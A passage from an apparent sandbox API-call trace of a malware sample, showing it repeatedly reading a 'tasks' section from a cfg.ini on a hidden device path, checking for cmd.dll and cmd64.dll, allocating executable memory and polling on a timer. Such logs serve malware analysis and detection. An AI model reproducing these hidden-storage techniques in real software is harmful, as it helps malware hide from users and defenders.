_Dest="0d24eb7c\\cfg.ini") returned 16 [0121.532] KeEnterCriticalRegion () [0121.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.532] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.532] KeLeaveCriticalRegion () [0121.532] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.532] KeEnterCriticalRegion () [0121.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.532] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.532] IdePortDispatch () returned 0x103 [0121.532] KeWaitForMutexObject () returned 0x0 [0121.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.532] KeLeaveCriticalRegion () [0121.532] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.532] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.532] KeEnterCriticalRegion () [0121.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.532] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b49000 [0121.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.532] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.532] IdePortDispatch () returned 0x103 [0121.533] KeWaitForMutexObject () returned 0x0 [0121.533] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.533] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.533] IdePortDispatch () returned 0x103 [0121.533] KeWaitForMutexObject () returned 0x0 [0121.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.533] KeLeaveCriticalRegion () [0121.533] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.533] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.533] KeEnterCriticalRegion () [0121.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.534] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.534] KeLeaveCriticalRegion () [0121.534] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.534] KeEnterCriticalRegion () [0121.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.534] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.534] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6390, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.534] KeLeaveCriticalRegion () [0121.534] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.534] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.534] KeEnterCriticalRegion () [0121.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.534] ExFreePoolWithTag (P=0xfffffa8003bc4280, Tag=0x0) [0121.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.534] KeLeaveCriticalRegion () [0121.534] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.534] ReleaseMutex (hMutex=0xf0) returned 1 [0121.534] Sleep (dwMilliseconds=0x927c0) [0121.548] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.548] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.548] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.548] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.548] KeEnterCriticalRegion () [0121.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.548] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.548] IdePortDispatch () returned 0x103 [0121.548] KeWaitForMutexObject () returned 0x0 [0121.548] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.548] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.548] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.548] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.548] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.548] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6eb0 [0121.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.548] KeLeaveCriticalRegion () [0121.548] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.548] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.548] KeEnterCriticalRegion () [0121.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.548] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.548] KeLeaveCriticalRegion () [0121.548] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.549] KeEnterCriticalRegion () [0121.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.549] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.549] IdePortDispatch () returned 0x103 [0121.549] KeWaitForMutexObject () returned 0x0 [0121.549] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.549] KeLeaveCriticalRegion () [0121.549] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.549] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.549] KeEnterCriticalRegion () [0121.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.549] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b4e000 [0121.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.549] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.549] IdePortDispatch () returned 0x103 [0121.549] KeWaitForMutexObject () returned 0x0 [0121.549] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.549] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.549] IdePortDispatch () returned 0x103 [0121.549] KeWaitForMutexObject () returned 0x0 [0121.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.550] KeLeaveCriticalRegion () [0121.550] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.550] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.550] KeEnterCriticalRegion () [0121.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.550] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.550] KeLeaveCriticalRegion () [0121.550] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.550] KeEnterCriticalRegion () [0121.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.550] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.550] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5b80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.550] KeLeaveCriticalRegion () [0121.550] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.550] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.550] KeEnterCriticalRegion () [0121.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.550] ExFreePoolWithTag (P=0xfffffa8003bd6eb0, Tag=0x0) [0121.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.550] KeLeaveCriticalRegion () [0121.550] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.551] ReleaseMutex (hMutex=0xf0) returned 1 [0121.551] Sleep (dwMilliseconds=0x927c0) [0121.567] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.567] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.567] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.567] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.567] KeEnterCriticalRegion () [0121.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.567] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.567] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.567] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.567] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.567] IdePortDispatch () returned 0x103 [0121.567] KeWaitForMutexObject () returned 0x0 [0121.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.568] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.568] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.568] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.568] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.568] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5ac0 [0121.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.568] KeLeaveCriticalRegion () [0121.568] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.568] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.568] KeEnterCriticalRegion () [0121.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.568] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.568] KeLeaveCriticalRegion () [0121.568] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.568] KeEnterCriticalRegion () [0121.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.568] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.568] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.568] IdePortDispatch () returned 0x103 [0121.568] KeWaitForMutexObject () returned 0x0 [0121.568] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.568] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.568] KeLeaveCriticalRegion () [0121.568] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.568] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.568] KeEnterCriticalRegion () [0121.568] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.568] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b53000 [0121.568] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.568] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.569] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.569] IdePortDispatch () returned 0x103 [0121.569] KeWaitForMutexObject () returned 0x0 [0121.569] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.569] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.569] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.569] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.569] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0121.569] IdePortDispatch () returned 0x103 [0121.569] KeWaitForMutexObject () returned 0x0 [0121.569] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.569] KeLeaveCriticalRegion () [0121.569] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.570] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.570] KeEnterCriticalRegion () [0121.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.570] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.570] KeLeaveCriticalRegion () [0121.570] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.570] KeEnterCriticalRegion () [0121.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.570] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.570] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5b80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.570] KeLeaveCriticalRegion () [0121.570] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.570] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.570] KeEnterCriticalRegion () [0121.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.570] ExFreePoolWithTag (P=0xfffffa8003bc5ac0, Tag=0x0) [0121.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.570] KeLeaveCriticalRegion () [0121.570] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.570] ReleaseMutex (hMutex=0xf0) returned 1 [0121.570] Sleep (dwMilliseconds=0x927c0) [0121.583] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0121.583] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.583] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0121.583] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.583] KeEnterCriticalRegion () [0121.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.584] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0121.584] IdePortDispatch () returned 0x103 [0121.584] KeWaitForMutexObject () returned 0x0 [0121.584] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.584] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.584] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.584] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.584] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.584] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc59b0 [0121.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.584] KeLeaveCriticalRegion () [0121.584] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.584] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.584] KeEnterCriticalRegion () [0121.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.584] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.584] KeLeaveCriticalRegion () [0121.584] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.584] KeEnterCriticalRegion () [0121.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.584] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0121.584] IdePortDispatch () returned 0x103 [0121.584] KeWaitForMutexObject () returned 0x0 [0121.585] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.585] KeLeaveCriticalRegion () [0121.585] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.585] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.585] KeEnterCriticalRegion () [0121.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.585] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b58000 [0121.585] IoAllocateIrp 